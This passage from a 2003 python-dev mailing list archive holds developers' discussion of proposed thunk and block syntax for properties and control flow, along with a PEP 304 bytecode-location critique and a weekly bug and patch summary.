TypeError for a mutable argument passed to a dictionary) resulted in masking other errors that should have been passed through (potential TypeErrors in the called iterator for example)". Raymond proposed a new function named PyErr_FormatAppend that would append the extra info. Ka-Ping Yee suggested adding the original exception to the new exception as an attribute. This was generally viewed as a good solution. Questions of how to store traceback information and how to handle this in the C code has yet to be resolved. ============================= `Extended Function syntax`__ ============================= __ http://mail.python.org/pipermail/python-dev/2003-January/032498.html Splinter threads: - `Property syntax `__ - `thunks (for all the fish) `__ - `question??? `__ - `Syntax-wise `__ - `How about a meta-reserved word? `__ This threads wins the award for longest thread summarized here (and possibly ever for a summary written by me). Fair warning if you decide to read the actual thread. Also, none of this applies to Python 2.3; Guido promised syntactic stability for this next release and you will get it. Guido remembered that a proposal for extending the syntax of Python to make using things such as ``property()``, ``staticmethod()``, etc. much easier and wanted a reminder on where more info was. The suggeted syntax was:: def name(arg, ...) [expr1, expr2, expr3, ...]: ...body... where ``expr, ...`` would be evaluated like ``name = expr3(expr2(expr1(name)))``. Michael Hudson wrote up a patch which can be found at http://starship.python.net/crew/mwh/hacks/meth-syntax-sugar-3.diff with the original python-dev thread on this at http://mail.python.org/pipermail/python-dev/2002-February/020005.html . All of this led to an explosion of other syntax suggestions. One that garnered some support was to make something like:: class Foo: def Foo.bar(self, a, b, c): ...body... work by basically making a def statement work like ``Foo.bar=new.function(CODE, GLOBS, 'Foo.bar')``. If properties were made assignable then you could just use this syntax to assign to a property you instantiated. People also came up with metaclass implementations of some things (which Guido didn't like because they "all abuse the class keyword for something that's definitely not a class"). An idea that Walter Drwald suggested was:: class Foo(object): property myprop: """Doc string for myprop.""" def __get__(self): ...body... def __set__(self, arg): ...body... def __delete__(self): ...body... Guido's objection was that it turned property into a keyword. But he admitted that a new keyword would be okay if an elegant solution came about. Guido then made the suggestion of:: foo = property: ... This also garnered some support. The problem with this is that it would require the parser to be able to go from '"expression parsing mode" to "block parsing mode"' in a new way. But Guido seemed to solve it. It would also allow the generalization of this to something along the lines of:: v = e: # Possibility for adding args -- v = e:(x, y): S # Creates a thunk which would be equivalent to:: v = e(T) # T is a thunk created from S None of this is meant to replace the suggested [expr, ...] syntax that started this whole thread. Another syntactic suggestion was:: def foo as property: def __get__(self): ... def __set__(self, x): ... Which seemed to grab a lot of people's fancies. This would allow for "... as class", "... as generator", etc. But the problem with all of these proposals is how to deal with namespaces. Should, for instance, the thunks Guido suggested have their own namespace or use the one of their parent? Should their be only one type of thunk or multiple types with different scoping rules based on the situation? The namespace issue (especially for thunks) is still playing out. =========================== `Capabilities in Python`__ =========================== __ http://mail.python.org/pipermail/python-dev/2003-January/032672.html This thread actually came out of the whole property/thunk thing summarized directly above but was so tangential that I thought it deserved its own summary. Ben Laurie had apparently suggested that capabilities be added to Python. Jeremy Hylton gave a pretty good description of a capability as "a ticket. The ticket is good for some event and possession of the ticket is sufficient to attend the event"; limit abilities of objects based on what capabilities you possess. The problem is that Python's introspection lets you see everything and thus you can get around restrictions; you can get into the event by sneaking out back and crawling under the fence all without having a ticket. Jeremy mentioned Zope's proxy which fully wraps an object and forces all interaction through the proxy. Then Ka-Ping Yee stepped up to discuss the topic. He made the point that "creating a capability is equivalent to creating an object -- which you can only do if you hold the constructor". Ping said that "To build a capability system, all you need to do is to constrain the transfer of object references such that they can only be transmitted along other object references. That's all." In order to pull this off you would need to restrict access to only the declared interface of an object and have "no global namespace of modules". In other words have something like a private declaration for things and get rid of ``sys.modules``. Ping suggested coming up with a "secure-mode" Python where these restrictions would be turned on. Neil Schemenauer liked this idea. From guido@python.org Sun Feb 2 02:24:50 2003 From: guido@python.org (Guido van Rossum) Date: Sat, 01 Feb 2003 21:24:50 -0500 Subject: [Python-Dev] Extended Function syntax In-Reply-To: "Your message of Sat, 01 Feb 2003 14:48:46 PST." <20030201224846.261712C61@bespin.org> References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <20030201224846.261712C61@bespin.org> Message-ID: <200302020224.h122Oox05098@pcp02138704pcs.reston01.va.comcast.net> > If I may attempt a summary, given all the use cases that have been > expressed in this thread, we could have a need for constructions > whose associated code block is either (1) run immediately or (2) > passed unexecuted to some constructor; and whose variables are (a) > in their own namespace or (b) in the parent namespace. But a mechanism that only allows (2) can trivially be used to provide (1) as well -- the function to which the thunk is passed simply calls the thunk. The real issue is about (a) vs. (b). I think that it is technically possible to make the function control this as well, but it may not execute as fast (unless you compile two versions of the bytecode, or something similarly wacky). It is also possible to make the function control what to do about return, break, and continue (using pseudo-exceptions), but it definitely feels like a stretch. > Currently we have 'class' (1a) and, althought currently a bit > limited in post-processing facilities, 'def' (2a). I've shown > contrived examples of (2b) using 'for'. Actually, I don't think 'for' can really be considered a case of of (2). A true version of (2) allows you to save the thunk off in a global somewhere and call it at a later time. With 'for' your only choice is to decide whether to execute it immediately or not; and you don't get to sniff the contents of the block before executing it. So I don't think your contrived examples are worth much. > The question is whether we want something generic enough for all > four possible combinations or not, and whether they should still be > statically distinguishable or not. That's a good summary. > If they should not, then the 'thunk' approach is fine, given a way > to execute a thunk in its original namespace. This is a well-known > approach in block-oriented languages, but I agree with Samuele that > this can be much confusing and for some reason I dislike this > programming style. Maybe the reason is that Python has a > pseudo-declarative look & feel that is incompatible with direct > manipulation of control flow. Such a feature would make the life > impossible for source-processing utilities like code checkers. I don't think so. Code checkers make many assumptions that a compiler isn't allowed to make, and it seems totally reasonable to build knowledge about popular thunk consumers into the checker. Just like GCC has an extension to typecheck printf(). > But if we want the four cases to be statically distinguisable, then > we might be bound to add various unrelated syntax extensions at > several places, all of which might come with an associated original > use case that makes the syntax look like a hack for radically > different uses (like Just's nice metaclass-based definition of > properties). It doesn't have to be that bad. If, as I argue above, we really only need to distinguish two cases, we could probably come up with two fairly neutral syntaxes that cover both ends of the spectrum. A Pythonic way would be to introduce each with a new keyword: # for control flow; is part of surrounding scope foo : # for definitions; defines a new scope # maybe needs formal parameters too bar = : (I'm not at all sure that only one of these needs the " =" part.) For 'foo', 'do' seems a reasonable keyword; at least, do synchronized(mylock): BLOCK looks reasonable enough. I'm not so comfortable with the leading contender for 'bar', which seems to be 'def'. --Guido van Rossum (home page: http://www.python.org/~guido/) From andrew@indranet.co.nz Sun Feb 2 02:47:02 2003 From: andrew@indranet.co.nz (Andrew McGregor) Date: Sun, 02 Feb 2003 15:47:02 +1300 Subject: [Python-Dev] Extended Function syntax In-Reply-To: <4218270000.1044136589@localhost.localdomain> References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <4218270000.1044136589@localhost.localdomain> Message-ID: <82704.1044154022@localhost.localdomain> --==========1714979620========== Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline --On Sunday, February 02, 2003 10:56:29 +1300 Andrew McGregor=20 wrote: > Then: > > defmacro property(name, docstring, @get, @set, @delete): > def getter interpolate(get.arglist): > interpolate(get.block) > def setter interpolate(set.arglist): > interpolate(set.block) > def deleter interpolate(delete.arglist): > interpolate(delete.block) > return: > name =3D property(docstring, getter, setter, deleter) > > class Circle(object): > property circumference, """Circumference of the circle""": > get (self): > return self.radius*6.283 > set (self, value): > self.radius =3D value/6.283 > delete (self): > del self.radius > > would do the obvious thing using block keyword arguments (I can't think > how to express the anonymous scope implied here in regular Python; the > intention is that getter and friends are defined in the local namespace > of the macro invocation). > > Of course the proposed syntax is hypothetical, but I think it's quite > clean. Hmmm, maybe that should have been: defmacro property(name, docstring, @block): block() return: name =3D property(docstring, get, set, delete) class Circle(object): property(circumference, """Circumference of the circle"""): def get(self): return self.radius*6.283 def set(self, value): self.radius =3D value/6.283 def delete(self): del self.radius I still think block keyword arguments would be nice, but this can be done=20 without them. Andrew --==========1714979620========== Content-Type: application/pgp-signature Content-Transfer-Encoding: 7bit -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE+PIamHamGxvX4LwIRAjRXAKDOTgODINE1C6mxdLRb5qAeJf1w1ACg5AHZ OxiObNlVxp8SXUnOIb35AOE= =mjDP -----END PGP SIGNATURE----- --==========1714979620==========-- From pyth@devel.trillke.net Sun Feb 2 04:37:28 2003 From: pyth@devel.trillke.net (holger krekel) Date: Sun, 2 Feb 2003 05:37:28 +0100 Subject: [Python-Dev] Re: Extended Function syntax In-Reply-To: <200302012008.h11K8ts03673@pcp02138704pcs.reston01.va.comcast.net>; from guido@python.org on Sat, Feb 01, 2003 at 03:08:55PM -0500 References: <200302012008.h11K8ts03673@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <20030202053728.R10804@prim.han.de> Guido van Rossum wrote: > I received this from Glyph. He brings up some interesting use cases > for thunks. I guess it could be used for "on" style event handler > declarations. Hmm, you could even craft your own case statement with > his suggestion: > > switch(expr): > case(val1): > block1 > case(val2): > block2 > default: > block3 > > This actually makes me worry -- I didn't plan thunks to be the answer > to all problems. A new idea that could cause a paradigm landslide is > not necessarily right. That's a very interesting point. Now i wonder if the following implementation report falls (partly) into this category or goes otherwise off-road. Please bear with me if it does. Recently, i implemented an experimental "execution protocol" for Python-2.2.2. It centers around "indented code blocks" and their execution. First i started out to (try to) put indented blocks into a code object and allowing to denote before-hand an object that gets and executes it. (Regarding syntax I will only mention that much for now: i experimentally tried out quite a number from the syntactic ideas that were brought up here recently). Soon i felt that trying to turn an indented block into a code object goes against the grain of the CPython implementation. Even worse, I couldn't seriously do much with a code object apart from executing (or skipping) it and dealing with exceptions. It's especially hard to construct a nice enough namespace/scope interaction between a code object and its exec-handler. Also 'execing' code often destroys optimization options. All not so nice. So i went on and tried to settle on what i really wanted: a) to allow an object to hook into certain "execution events" and especially to encapsulate error-handling which today is often "inlined": the to-be-handled code block intermingles with the enclosing try-except construct. b) to have easy ways of "exchanging parameters" between a code block and its execution handler. Without such interaction the handler and its code block would be completly orthogonal to each other (which is puristic but doesn't give you much in practise). To satisfy a) i implemented the following execution hooks (which all return None): class some_execution_handler: def __enter__(self): """called before my indented block is executed """ def __except__(self, type, value, traceback): """called if an exception occurs during execution""" def __leave__(self): """called when execution is finished. this is called if there was no exception AND if there was an exception but no __except__ hook """ Now how to do the b) "exchanging parameters" part? After some experiments I choose to do it *oneway* resp. only in the direction from code block to execution handler. The rationale is that the execution handler should only *add* behaviour but not modify "foreign" local namespaces. I think this is a crucial point. This code-to-handler communication is made explicit by specifying a series of "name=expr" bindings which (as usual) have effect in local or global scope but *additionally* are set as attributes on the execution handler instance. Thus for timely finalization you now only have to 1. specify objects to be finalized, e.g.: f1=open('...') 2. name a handler that implements __leave__ like this: def __leave__(self): for f in self.__dict__.values(): f.close() For 'acquire/release' it's even simpler: class autolock(threading.RLock): __enter__ = threading.RLock.__acquire__ __leave__ = threading.RLock.__release__ This worked nicely but soon I also wanted a way to pass *anonymous* values towards an execution handler. I went the Quixotish way and added this fourth and last hook to the execution handler: def __catch__(self, arg): """catches a dropped value ala Quixote. "dropped" means that an expression's result of the code block would otherwise be discarded. """ To summarize, the execution protocol now has three semantic aspects: - execution hooks (enter, leave, except) - local name bindings set as instance attributes - drop-catch pattern for anonymous object flow from code block to handler Now let's assume that i realized this with a XML-like syntax (which i actually did but don't see as central), then the above requirements roughly map to '<' expr (NAME '=' expr)* '>' suite The evaluated 'expr' is the execution handler and 'suite' is the code block. It's hopefully evident now how the following example usages work: data = f1.read() # here f1 will be closed no matter what def some_class_method(self, ...): ... # in critical part here u"hello world" # debug object catches dropped object # handles the remote call including errors remote.call(...) "ls -la" if shell.errno: ... I could imagine that you find this mixture of XML syntax and python horrible. FWIW i found that this "markup" in a way resembles the notion of 'adding characteristics and meaning' to a code block much like 'html' tags do for text. However, it's certainly better to focus on semantic ideas and problems first before discussing syntactic details. In the hope of not just having wasted your time, holger From tismer@tismer.com Sun Feb 2 04:52:18 2003 From: tismer@tismer.com (Christian Tismer) Date: Sun, 02 Feb 2003 05:52:18 +0100 Subject: [Python-Dev] Extended Function syntax In-Reply-To: <200302020224.h122Oox05098@pcp02138704pcs.reston01.va.comcast.net> References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <20030201224846.261712C61@bespin.org> <200302020224.h122Oox05098@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <3E3CA402.1020805@tismer.com> Ahhh. Sorry to say that. I'd like to contribute, but python-dev is hitting my limits completely. This thread is absolutely incomprehensible. Message frequency is unbearable. Relationship indentation hits by browser's capabilities. How can I follow this while working for some bread. Poor guy who has to write the summary. sigh - chris From tismer@tismer.com Sun Feb 2 05:35:04 2003 From: tismer@tismer.com (Christian Tismer) Date: Sun, 02 Feb 2003 06:35:04 +0100 Subject: [Python-Dev] python-dev Summary for 2003-01-16 through 2003-01-31 In-Reply-To: References: Message-ID: <3E3CAE08.2080600@tismer.com> Brett Cannon wrote: > Well, my brain didn't pop from the extended syntax thread, so I am happy. > =) Why did you guys have to have such a major discussion at the end of > the month (and have an explosion of big emails right at the end no less!)? > And of course I decide to try to introduce something new in this summary > that upped my workload. Lucky me. =) OK, enough complaining (oh wait, I > don't get paid for this; I guess I can complain =). Please, complain more. If you were employed, you should ask for compensation for pain and suffering. I have not followed this thread (happy me + unlucky me.) And I don't intend to write a summary (lucky me.) After trying to follow it partially and failing completely, I'm asking if there is an alternate way of discussing such matters? There is no way of reading this thread for me. I cannot get it into any shape, since I haven't followed it online. This will be a similar problem for anybody who tries to read it after the fact, like me (with similar incapabilities). worst-python-dev-experience-I-ever-had -- chris From james.kew@btinternet.com Sat Feb 1 12:52:18 2003 From: james.kew@btinternet.com (James Kew) Date: Sat, 1 Feb 2003 12:52:18 -0000 Subject: [Python-Dev] Re: New version of PEP 304 References: <15930.46189.483674.745097@montanaro.dyndns.org> Message-ID: Skip Montanaro wrote: > I just checked in a new version of PEP 304. It should be available at > > http://www.python.org/peps/pep-0304.html > >> Feedback welcome. Windows C programmers even more welcome. ;-) Cosmetic: there's a System Message: WARNING on the fourth bullet point of "Proposal". Serious: I'm not sure this covers all the bases on Windows, which has multiple filesystem roots. Specifically, it doesn't preserve the current behaviour if PYTHONBYTECODEBASE is not set and if the "startup drive" and the drive on which a Python source file is located is not the same. > If not defined, Python bytecode is generated in exactly the same way as is currently done. > sys.bytecodebase is set to the > root directory (either / on Unix or the root directory of the > startup drive -- typically C:\ -- on Windows). Need to define "startup drive" precisely -- I assume something "the drive from which the system is booted" or "the drive on which the operating system is installed" (are these always the same?) but I don't know what the correct terminology would be. "Startup drive" could be misinterpreted as "the drive on which Python is installed", given that in the rest of the PEP "startup" refers to Python or program startup. OK: so if I don't set PYTHONBYTECODEBASE, sys.bytecodebase is set to C:\. Now, what happens if I import a module which happens to be in, oh, for example, D:\Roundup\MyTracker\config.py and which does not currently have compiled bytecode alongside it? > When the bytecode base is not None, a new bytecode file is written to the appropriate augmented directory BANG. The compiled bytecode is written not to D:\Roundup\MyTracker\config.pyc as I would expect it to: instead, it's magically and silently written to the "augmented" directory C:\D\Roundup\MyTracker\config.pyc -- as a side-effect, unexpectedly creating an new directory hierarchy on C:. This needs to be fixed so that, on Windows, leaving PYTHONBYTECODEBASE undefined yields the current behaviour as default -- as is already the case when this PEP is implemented under Unix. A suggestion: define a sys.bytecodebase of '/' to mean "default behaviour" on Windows. This would normally be interpreted as "root of the current drive" -- it's a little bit of a stretch to redefine it in this case as "root of the source file's drive", but not unreasonable. Taking this further, one could define that, on Windows, a sys.bytecodebase containing a drive specifier specifies a single, systemwide bytecode directory, with implicit directory augmentation; and that a sys.bytecodebase that does not contain a drive specifier specifies a per-drive bytecode directory. Thus: sys.bytecodebase = "C:\Bytecode" C:\MyStuff\script.py --> C:\Bytecode\C\MyStuff\script.pyc D:\MyOtherStuff\demo.py --> C:\Bytecode\D\MyOtherStuff\demo.pyc sys.bytecodebase = "\Bytecode" C:\MyStuff\script.py --> C:\Bytecode\MyStuff\script.pyc D:\MyOtherStuff\demo.py --> D:\Bytecode\MyOtherStuff\demo.pyc I'm not sure this is entirely *useful* -- YAGNI? -- but it does then provide a good basis for the default case: sys.bytecodebase = "\" C:\MyStuff\script.py --> C:\MyStuff\script.pyc D:\MyOtherStuff\demo.py --> D:\MyOtherStuff\demo.pyc Note also that this would imply a slight tweaking to "during program startup, the value of the PYTHONBYTECODEBASE environment variable is made absolute" to ensure that a drive specifier is not added to PYTHONBYTECODEBASE if it does not already have one. -- James Kew james.kew@btinternet.com From rnd@onego.ru Sun Feb 2 09:29:35 2003 From: rnd@onego.ru (Roman Suzi) Date: Sun, 2 Feb 2003 12:29:35 +0300 (MSK) Subject: [Python-Dev] Extended Function syntax In-Reply-To: <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> Message-ID: code_thunk = ``` if Guido.let_it_fly(): print "This is my syntax for inline code block" ``` Now I understood the summary of this thread for myself. It's all about making extended lambdas in Python so Python could manipulate code as it does with other objects! Now I am convinced this is great idea and quite Pythonic too. Also if I understood correctly, the main problem is namespace interaction. My thought here is that it shouldnot be different to lambdas: environment need to be visible in the inside. Another problem is with exceptions. But is it really a problem? How different it is when we exec something? So, the problem (IMHO) has this subproblems: 1. How to express an arbitrary codeblock object anywhere in the expression? 2. What protocol to use to communicate with this codeblock? Let's see what we already have in Python: I. case: user-defined function 1. def-statement 2. arguments and one value after return statement. Environment of place of definition available. II. case: lambda function 1. lambda-operator 2. arguments and a single return value. Environment available. III. case: compiled code block 1. any string and then compile() or directly exec(), etc 2. globals(), locals() Now: IV. case: inline code block aka extended lambda ;-) 1. special (probably ':'-powered) syntax, allowing to insert code snippet into any place in the expression 2. this is a big question. I propose to use some functions around codeblock which will add needed namespaces, exception handlers and other things needed for code snippet to work. BTW, it's my understanding that is such construct (inline code block) will be added to Python, then almost we will be able to model ANY Python control-flow operator with it! Isn't it really cool? And of course inline code snippet object will be extensible objects, allowing for any kinds of modifications, adding aspects (for those who uses aspect programming), pre/post conditions, currying, locks, security control, etc, etc. It will be a new era of Python development. It will nearer Python to LISP, where code and data are same. I am sure there is no problem defining +, *, % operations for them (obvious, isn't it?): + - make a sequence * - make a for _ in range(N) cycle, % - provide parameters (with a dict or whatever), locals() for example. (Am i dreaming?) As for optimisations, drop them, Guido, for now: inline code blocks are good target for JIT-optimisations. Now syntax. ('lambda' is an example keyword, just for illustration!!!) For loop: codesnippet = FOR_LOOP_FUNCTION(lst, lambda i: do whatever with index i . . .. . .... : # for closing block explicitely ) Function: codesnippet = DEF_FUNCTION(param_names, lambda pms: ..... .... return k : , defaults = dict1) Now if we want to provide codesnippet with parameters: codesnippet = lambda what, filename: print >> open(filename, "w"), what : codesnippet2 = codesnippet % {'filename': 'ex1', } what = "123" codesnippet.exec(vars()) Of course, parameter getting/setting needs some formal protocol. If grammar will not suffer too much, one-line version: codesn = lambda: print 2*2: + lambda: print 2*2: codesn.exec() will give 4 4 on the output. (Where 'lambda' is an example keyword, just for illustration) I even think that we can use $ as new type of blocking, needed for this. It is fundamental addition and needs extraordinary syntax: codesn = $ print 2*2 $ + $ print 2*2 $ Or maybe some asymettric: codesnippet = + But Guido will never let this fly, even if parser will be happy ;-) What about ```print 2*2``` + ```print 2*2``` - very near to the sense of what we want to achieve! Sincerely yours, Roman Suzi -- rnd@onego.ru =\= My AI powered by Linux RedHat 7.3 From skip@manatee.mojam.com Sun Feb 2 13:00:35 2003 From: skip@manatee.mojam.com (Skip Montanaro) Date: Sun, 2 Feb 2003 07:00:35 -0600 Subject: [Python-Dev] Weekly Python Bug/Patch Summary Message-ID: <200302021300.h12D0ZRd015670@manatee.mojam.com> Bug/Patch Summary ----------------- 350 open / 3282 total bugs (+14) 123 open / 1944 total patches (+16) New Bugs -------- typeobject provides incorrect __mul__ (2002-12-30) http://python.org/sf/660144 bsddb hangs with recno/source sync (2003-01-26) http://python.org/sf/675187 os.environ leaks under FreeBSD and Mac OS X (2003-01-26) http://python.org/sf/675259 email.Header() encoding does not work properly (2003-01-27) http://python.org/sf/675420 patch for new func. string.findall (2003-01-27) http://python.org/sf/675864 Have exception arguments keep their type (2003-01-27) http://python.org/sf/675928 bsddb doc error (2003-01-28) http://python.org/sf/676233 BaseHTTPServer; HTTP/1.1 spec not "vague" (2003-01-28) http://python.org/sf/676273 BaseHTTPServer incorrectly parses protocol (2003-01-28) http://python.org/sf/676292 after using pdb readline does not work correctly (2003-01-28) http://python.org/sf/676342 String formatting operation Unicode problem. (2003-01-28) http://python.org/sf/676346 Have PythonLauncher use #! line (2003-01-28) http://python.org/sf/676358 Can't build C ext on OS X with 'altinstall' python (2003-01-29) http://python.org/sf/677293 python.exe expected in extension builds (2003-01-30) http://python.org/sf/677753 add warning to os.getlogin (2003-01-31) http://python.org/sf/678077 test_logging fails (2003-01-31) http://python.org/sf/678217 test_mmap failling on AIX (2003-01-31) http://python.org/sf/678250 locale.getpreferredencoding fails on AIX (2003-01-31) http://python.org/sf/678259 test_resource fails when file size is limited (2003-01-31) http://python.org/sf/678264 test_coercion fails on AIX (2003-01-31) http://python.org/sf/678265 list.append memory leak ? (2003-01-31) http://python.org/sf/678352 test_long fails (2003-01-31) http://python.org/sf/678375 Docs don't define sequence-ness very well (2003-01-31) http://python.org/sf/678464 Another parsermodule validation error (2003-01-31) http://python.org/sf/678518 StringIO self-iterator (2003-01-31) http://python.org/sf/678519 ./configure fails w/error: cannot compute sizeof (wchar_t), (2003-02-01) http://python.org/sf/678723 New Patches ----------- Make the default encoding provided on Windows (2003-01-21) http://python.org/sf/671666 More flexible py-shell interpreter selection (2003-01-26) http://python.org/sf/675034 Add tzset method to time module (2003-01-27) http://python.org/sf/675422 extending readline functionality (2003-01-27) http://python.org/sf/675551 New block cipher API (2003-01-27) http://python.org/sf/675698 mhlib does not obey MHCONTEXT env var (2003-01-28) http://python.org/sf/675976 Cygwin _tkinter Tcl/Tk 8.4 patch (2003-01-29) http://python.org/sf/676835 Cygwin array module patch (2003-01-29) http://python.org/sf/676837 Cygwin _iconv_codec module patch (2003-01-29) http://python.org/sf/676839 PYTHONBYTECODEBASE patch (PEP 304) (2003-01-29) http://python.org/sf/677103 improved readline usage in pdb (2003-01-30) http://python.org/sf/677719 python-mode.el: make C-c - work correctly after C-c | (2003-01-30) http://python.org/sf/677838 Add traceback.format_exc (2003-01-30) http://python.org/sf/677887 add optional CWD argument to os.path.abspath() (2003-01-30) http://python.org/sf/677890 zlib module needs decompress flush. (2003-01-31) http://python.org/sf/678531 Use ifilter in sets module (2003-02-01) http://python.org/sf/678899 Closed Bugs ----------- minidom doesn't implement importNode() (2001-10-25) http://python.org/sf/474986 httplib strict mode fails in 2.2.2 (2002-03-08) http://python.org/sf/527521 AIX 3.2.5 Has No chroot/fsync Prototypes (2002-03-23) http://python.org/sf/534108 Windows binary missing SSL (2002-07-02) http://python.org/sf/576711 wrong dest size (2002-07-18) http://python.org/sf/583477 mhlib does not obey MHCONTEXT env var (2002-09-17) http://python.org/sf/610556 pdb quit breakage (2002-11-05) http://python.org/sf/634116 pdb user_call breakage (2003-01-17) http://python.org/sf/669692 StringIO doc doesn't say it's sometimes read-only (2003-01-20) http://python.org/sf/671447 Three __contains__ implementations (2003-01-21) http://python.org/sf/672098 Access to serial devices through Carbon.CF (2003-01-25) http://python.org/sf/674574 Closed Patches -------------- sets.BaseSet.isdisjointset(other) (2002-10-18) http://python.org/sf/625513 Add cflags to RC compile (2003-01-16) http://python.org/sf/669198 From guido@python.org Sun Feb 2 13:02:54 2003 From: guido@python.org (Guido van Rossum) Date: Sun, 02 Feb 2003 08:02:54 -0500 Subject: [Python-Dev] Extended Function syntax In-Reply-To: "Your message of Sun, 02 Feb 2003 05:52:18 +0100." <3E3CA402.1020805@tismer.com> References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <20030201224846.261712C61@bespin.org> <200302020224.h122Oox05098@pcp02138704pcs.reston01.va.comcast.net> <3E3CA402.1020805@tismer.com> Message-ID: <200302021302.h12D2s013782@pcp02138704pcs.reston01.va.comcast.net> > Ahhh. > > Sorry to say that. > I'd like to contribute, but python-dev > is hitting my limits completely. > This thread is absolutely incomprehensible. > Message frequency is unbearable. > Relationship indentation hits by browser's capabilities. > How can I follow this while working for some bread. > > Poor guy who has to write the summary. > > sigh - chris Too bad, Chris. This thread is not for the benefit of posterity, but for the benefit of those participating in it. There are enough of us who *are* still following it that it makes sense to keep it on python-dev. If you can't follow it, just ignore it -- that's what I do with most other threads on python-dev, knowing that there are others who do follow it. :-) --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Sun Feb 2 13:27:21 2003 From: guido@python.org (Guido van Rossum) Date: Sun, 02 Feb 2003 08:27:21 -0500 Subject: [Python-Dev] Re: Extended Function syntax In-Reply-To: "Your message of Sat, 01 Feb 2003 21:52:25 +0100." <05d501c2ca33$d36d6560$6d94fea9@newmexico> References: <200302012008.h11K8ts03673@pcp02138704pcs.reston01.va.comcast.net> <05d501c2ca33$d36d6560$6d94fea9@newmexico> Message-ID: <200302021327.h12DRLk13872@pcp02138704pcs.reston01.va.comcast.net> [Guido] > > switch(expr): > > case(val1): > > block1 > > case(val2): > > block2 > > default: > > block3 > > > > This actually makes me worry -- I didn't plan thunks to be the answer > > to all problems. A new idea that could cause a paradigm landslide is > > not necessarily right. [Samuele] > I don't exactly get how containment relationships are disambiguated at > compilation time? > > for sure this is bordering macros' expressivity I'm not sure I approve of this, but I believe that Glyph's suggestion can be done by inserting a reference to the most recently active switch object in the thunk's namespace. Rough sketch of code: class switch: def __init__(self, expr): self.expr = expr def __call__(self, thunk): self.success = False self.save_switch = thunk.locals.get('__switch__') try: thunk.locals['__switch__'] = self thunk() finally: thunk.locals['__switch__'] = self.save_switch class case: def __init__(self, val): self.val = val def __call__(self, thunk): sw = thunk.locals.get('__switch__') assert sw is not None if sw.success: # A previous case triggered return if self.val == sw.expr: sw.success = True thunk() I'll leave the implementation of default to the reader's imagination. Again, not endorsing, just playing with Glyph's idea. Clearly one could write ugly stuff like switch(x): print "This is always executed" for i in range(10): case(i): print "x is equal to", i case(i+1): print "this is unreachable" --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Sun Feb 2 13:52:33 2003 From: guido@python.org (Guido van Rossum) Date: Sun, 02 Feb 2003 08:52:33 -0500 Subject: [Python-Dev] Extended Function syntax In-Reply-To: "Your message of Sat, 01 Feb 2003 22:44:27 +0100." <065d01c2ca3b$185ca080$6d94fea9@newmexico> References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> Message-ID: <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> [Guido] > > > I do worry that if my thunks are to be maximally useful, they may end > > > up having all variables bound through "cells" (as used for nested > > > scopes) which may give them a reputation of being slow compared to > > > in-line code, which would limit their popularity for control flow > > > statements like synchronized(). [Samuele] > > yes, that worries me to, it seems at least a likely source of recurring > > comp.lang.python threads [Samuele again] > 'with' syntax does not share the problem, because it is just > syntax-sugar for a try-finally, not involving thunks. Right. Of course, many programmers (the majority? :-) will expect 'with' to do something similar to 'with' in Pascal, VB and JavaScript. So maybe we'll have to pick a different keyword. But let's focus on the semantics of your 'with'. > Repeating myself, unless one considers the most extreme proposals > that border macros, thunks [smalltalk-ish anonymous blocks] are > quite a non-orthogonal addition for a language already with > functions and closures, generators and 'for'. Yes, but Python isn't particularly orthogonal anyway. *If* (and that's a big if) we can make it fit on all the edges, I don't mind it being unorthogonal, *if* it also solves a large (better be very large) class of issues where users would like to extend the language but currently have to write a lot of extra code, and *if* most of those issues can't be solved almost as well by something a lot less powerful (like your 'with'). I think so far I've been thinking mostly about fitting my proposal on all edges (that's where my discussion of the thunk's scope comes from). Maybe I should try to focus more on collecting real-world examples that are asking for syntactic support, and then try to look for the simplest way to support most of them. > [I leave aside generalizing 'class', which is something useful but > not about control-flow statements and for me a separate problem] > > Much of what: > > do beh(args): (x,...): > suite > > can do, can be done already with > > for x,.. in behgen(args): # behgen is a generator that yields where > # beh would invoke the thunk > suite > > What is not covered is: > > 1) the case where the thunk passes back some result on invocation by > beh using the proposed 'value' direct-to-caller-return statement. > 2) the case where beh returns a useful value > do e = beh(args): (x,...): > suite And 3) the case where the thunk is saved for later, e.g. when it is used as a callback or as some other extension of function definition. I haven't shown examples of this, but anonymous blocks in Smalltalk are used for this all the time. I can't find good docs about Ruby's iterators that describe whether this is possible or not. I did find out that Ruby has two iterator syntaxes (do...end and {...}) that differ in whether they introduce a new scope or not! > Both could be adressed with the following similar syntax-sugar but > that defines 